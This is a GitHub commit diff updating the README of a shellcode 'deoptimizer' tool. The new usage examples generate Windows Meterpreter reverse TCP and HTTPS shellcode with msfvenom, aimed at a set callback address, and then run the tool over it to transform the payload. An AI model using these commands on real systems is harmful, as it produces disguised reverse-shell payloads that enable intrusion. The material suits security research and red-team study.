Skip to content

Commit 23d8942

Browse files
committed
README update.
1 parent ed670ae commit 23d8942

File tree

2 files changed

+25
-4
lines changed

2 files changed

+25
-4
lines changed

README.md

+24-3
Original file line numberDiff line numberDiff line change
@@ -73,7 +73,7 @@ Options:
7373
--syntax <SYNTAX> assembler formatter syntax (nasm/masm/intel/gas) [default: keystone]
7474
-b, --bitness <BITNESS> bitness of the binary file (16/32/64) [default: 64]
7575
-A, --addr <ADDR> start address in hexadecimal form [default: 0x0000000000000000]
76-
--skip-offsets <SKIP_OFFSETS>... File offset range for not deoptimizing (eg: 0-10 for skipping first ten bytes)
76+
--skip-offsets <SKIP_OFFSETS>... File offset range for skipping deoptimization (eg: 0-10 for skipping first ten bytes)
7777
-c, --cycle <CYCLE> total number of deoptimization cycles [default: 1]
7878
-F, --freq <FREQ> deoptimization frequency [default: 0.5]
7979
--transforms <TRANSFORMS> allowed transform routines (ap/li/lp/om/rs) [default: ap,li,lp,om,rs]
@@ -84,13 +84,34 @@ Options:
8484
-V, --version Print version
8585
```
8686

87-
### Currently Supported Architectures
87+
#### Examples
88+
89+
- Generate and de-optimize a 64 bit Metasploit reverse TCP shellcode
90+
```bash
91+
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -o shellcode
92+
deoptimizer -a x86 -b 64 -F 1 -f /tmp/shellcode
93+
```
94+
- Generate and de-optimize a 64 bit Metasploit reverse HTTP(S) shellcode
95+
96+
> [!WARNING]
97+
> Some shellcodes may cointain string values that needs to be skipped! In such cases the string offsets needs to be specified using the `--skip-offsets` parameter.
98+
99+
```bash
100+
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.1.10 LPORT=8080 -o shellcode
101+
deoptimizer -a x86 -b 64 -F 1 --skip-offsets 275-287 324-574 -f /tmp/shellcode
102+
```
103+
104+
## Currently Supported Architectures
105+
106+
-`Supported`
107+
- 🚧 `In progress`
108+
-`Unsupported`
88109

89110
| **Architecture** | **32** | **64** |
90111
|:-----------------:|:------:|:------:|
91112
| **x86** |||
92113
| **ARM** || 🚧 |
93-
| **RISC5** || 🚧 |
114+
| **RISCV** || 🚧 |
94115

95116
## TO DO
96117
- [ ] PE file support.

src/options.rs

+1-1
Original file line numberDiff line numberDiff line change
@@ -53,7 +53,7 @@ pub struct Options {
5353
#[arg(long, short = 'A', default_value_t = String::from("0x0000000000000000"))]
5454
pub addr: String,
5555

56-
/// File offset range for not deoptimizing (eg: 0-10 for skipping first ten bytes).
56+
/// File offset range for skipping deoptimization (eg: 0-10 for skipping first ten bytes).
5757
#[arg(long, value_parser, num_args = 1.., value_delimiter = '-')]
5858
pub skip_offsets: Vec<u32>,
5959

0 commit comments

Comments
 (0)